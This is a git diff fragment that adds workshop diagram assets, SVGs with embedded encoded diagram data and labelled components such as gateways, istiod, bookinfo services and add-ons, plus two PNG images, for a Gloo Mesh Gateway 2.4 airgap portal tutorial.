MDE35Veauu2Xq/Wbc1U6eW76iVx1MDAxMWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv